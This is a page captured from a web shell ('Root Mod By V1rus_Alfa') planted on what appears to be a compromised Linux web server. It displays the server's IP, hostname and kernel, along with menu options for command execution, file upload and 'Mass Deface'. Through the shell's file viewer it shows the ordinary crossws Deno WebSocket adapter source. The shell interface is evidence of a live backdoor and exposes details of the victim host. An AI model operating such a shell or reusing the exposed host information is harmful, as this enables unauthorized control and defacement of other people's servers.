���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
node_modules
/
crossws
/
dist
/
adapters
/
Viewing: deno.mjs
import { d as defineWebSocketAdapter, M as Message, P as Peer, t as toBufferLike, c as createCrossWS } from '../shared/crossws.77e89680.mjs'; import { WSError } from '../index.mjs'; const deno = defineWebSocketAdapter( (options = {}) => { const crossws = createCrossWS(options); const handleUpgrade = async (req, info) => { const { headers } = await crossws.upgrade({ url: req.url, headers: req.headers }); const upgrade = Deno.upgradeWebSocket(req, { // @ts-expect-error https://github.com/denoland/deno/pull/22242 headers }); const peer = new DenoPeer({ deno: { ws: upgrade.socket, req, info } }); upgrade.socket.addEventListener("open", () => { crossws.$callHook("deno:open", peer); crossws.callHook("open", peer); }); upgrade.socket.addEventListener("message", (event) => { crossws.$callHook("deno:message", peer, event); crossws.callHook("message", peer, new Message(event.data)); }); upgrade.socket.addEventListener("close", () => { crossws.$callHook("deno:close", peer); crossws.callHook("close", peer, {}); }); upgrade.socket.addEventListener("error", (error) => { crossws.$callHook("deno:error", peer, error); crossws.callHook("error", peer, new WSError(error)); }); return upgrade.response; }; return { handleUpgrade }; } ); class DenoPeer extends Peer { get addr() { return this.ctx.deno.ws.remoteAddress; } get readyState() { return this.ctx.deno.ws.readyState; } get url() { return this.ctx.deno.req.url; } get headers() { return this.ctx.deno.req.headers || new Headers(); } send(message) { this.ctx.deno.ws.send(toBufferLike(message)); return 0; } } export { deno as default };
Coded With 💗 by
0x6ick Mod By V1rus_Alfa